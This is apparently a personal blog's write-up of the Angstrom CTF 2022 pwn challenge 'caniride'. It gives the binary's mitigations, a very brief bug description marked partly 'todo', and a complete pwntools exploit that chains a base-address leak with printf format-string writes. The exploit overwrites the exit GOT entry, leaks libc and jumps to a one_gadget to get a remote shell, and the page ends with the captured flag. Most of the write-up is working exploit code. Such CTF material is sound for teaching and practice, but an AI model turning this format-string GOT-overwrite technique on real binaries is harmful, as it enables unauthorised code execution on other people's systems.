Aynakeya's Blog

Kill My Emotion

[Pwn] caniride [Angstrom CTF 2022]

0x0 Introduction

We've developed a direct competitor to Uber, using blockchain technology.

nc challs.actf.co 31228

Author: JoshDaBosh

files: caniride, libc.so.6

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

0x2 Vulnerability

todo

in simple word, use this bug to leak binary base address using obj.__dso_handle

1
2
3
4
if (4 < var_440h) {
sym.imp.puts("Not enough drivers! Sorry.");
sym.imp.exit(1);
}

Then use printf("%*d", width, num) to write data

in this case, %{num}$0*{value_offset}$d%{addr_offset}$hn

  1. leak libc, return to main
  2. write rip to one_gadget, get shell

0x3 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3

from pwn import *

exe = ELF("./caniride_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = exe


def log_print(*msg):
log.info(" ".join(map(str,msg)))

def start():
if args.LOCAL:
r = process([exe.path])
if args.R2:
input("Wait r2 attach")
else:
r = remote("challs.actf.co", 31228)
return r


lp = log_print
io = start()

leak_offset = (exe.symbols["__dso_handle"] - exe.symbols["drivers"]) // 8

got_exit_0 = (((0x7ffeb326e300 - 0x3f0) - 0x7ffeb326dec0) // 8) + 6
got_exit_1 = got_exit_0 + 1
got_exit_2 = got_exit_0 + 2
val_0 = got_exit_0+3
main_addr_0 =got_exit_0 + 4
main_addr_1 =got_exit_0 + 5
main_addr_2 =got_exit_0 + 6

printf_payload = f"%{val_0}$0*{main_addr_0}$d%{got_exit_0}$hn%{val_0}$0*{main_addr_1}$d%{got_exit_1}$hn%{val_0}$0*{main_addr_2}$d%{got_exit_2}$hn"
lp("printf payload",printf_payload)
io.sendafter(b"Name: ",flat({0:[printf_payload.encode()]},length=49,filler=b"\x00"))
io.sendlineafter(b"driver: ",str(leak_offset).encode())
io.recvuntil(b"this is ")
leak_addr = int.from_bytes(io.recvuntil(b" your driver",drop=True),"little")
exe.address = leak_addr - exe.symbols["__dso_handle"]
lp("got exit",hex(exe.got["exit"]))
lp(hex(exe.address),hex(exe.symbols["drivers"]),hex(exe.symbols["__gmon_start__"]))
addr_x = [
[exe.got["exit"]+0,exe.sym["main"] & 0xffff],
[exe.got["exit"]+2,(exe.sym["main"] >> (8*2)) & 0xffff],
[exe.got["exit"]+4,(exe.sym["main"] >> (8*4)) & 0xffff],
]
lp("main addr",hex(exe.sym["main"]))
addr_x.sort(key=lambda x:x[1])
io.sendafter(b"yourself: ",flat({
0:[i[0] for i in addr_x] + [0] + [
addr_x[0][1],
addr_x[1][1] - addr_x[0][1],
addr_x[2][1] - addr_x[1][1]
]
}))
leak_libc = ((0x7ffeb28748c8 - 0x7ffeb2874030) // 8) + 6
printf_payload_2 = f"%{leak_libc}$pENDL"
lp("leak libc payload",printf_payload_2)
io.sendafter(b"Name: ",printf_payload_2.encode().ljust(49,b'\x00'))
io.sendlineafter(b"driver: ",b'1')
io.sendafter(b"yourself: ",b'abc')
io.recvuntil(b"Bye, ")
tmp = io.recvuntil(b"ENDL",drop=True)
lp("libc start main return",tmp)
libc.address = int(tmp,16) - libc.libc_start_main_return
lp("libc base addr",hex(libc.address))


one_gadget = libc.address+0xe3b31 # r15 == NULL & rdx == NULL
lp("one gadget addr",hex(one_gadget))

printf_payload = f"%{val_0}$0*{main_addr_0}$d%{got_exit_0}$hn%{val_0}$0*{main_addr_1}$d%{got_exit_1}$hn%{val_0}$0*{main_addr_2}$d%{got_exit_2}$hn"
lp("printf payload",printf_payload)
io.sendafter(b"Name: ",printf_payload.encode().ljust(49,b'\x00'))
io.sendlineafter(b"driver: ",b'1')
addr_x = [
[exe.got["exit"]+0,one_gadget & 0xffff],
[exe.got["exit"]+2,(one_gadget >> (8*2)) & 0xffff],
[exe.got["exit"]+4,(one_gadget >> (8*4)) & 0xffff],
]
addr_x.sort(key=lambda x:x[1])

io.sendafter(b"yourself: ",flat({
0:[i[0] for i in addr_x] + [0] + [
addr_x[0][1],
addr_x[1][1] - addr_x[0][1],
addr_x[2][1] - addr_x[1][1]
]
}))


io.recvuntil(b'\n')
io.interactive()

0x4 Flag

actf{h0llerin'_at_y0u_from_a_1977_mont3_car1o_a6ececa9966d}

0%